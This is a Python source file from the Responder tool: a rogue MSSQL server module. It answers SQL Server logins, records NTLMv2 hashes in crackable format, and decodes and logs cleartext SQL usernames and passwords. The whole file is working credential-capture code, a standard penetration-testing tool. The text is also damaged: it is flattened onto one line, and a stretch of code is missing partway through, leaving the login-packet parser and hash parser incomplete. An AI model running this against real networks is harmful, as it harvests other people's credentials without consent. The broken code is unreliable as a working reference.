#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import struct import settings from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * class TDS_Login_Packet(): def __init__(self, data): ClientNameOff = struct.unpack(' 60: print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0)) print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0)) print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0)) print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0)) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) Pw = [] for x in Pwd: Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) return ''.join(Pw) def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0))) print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0)) print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0)) print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0)) print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0)) WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password) WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass) # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) # Pre-Login Message if data[0] == "\x12": Buffer = str(MSSQLPreLoginAnswer()) self.request.send(Buffer) data = self.request.recv(1024) # NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) # NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except socket.timeout: pass self.request.close()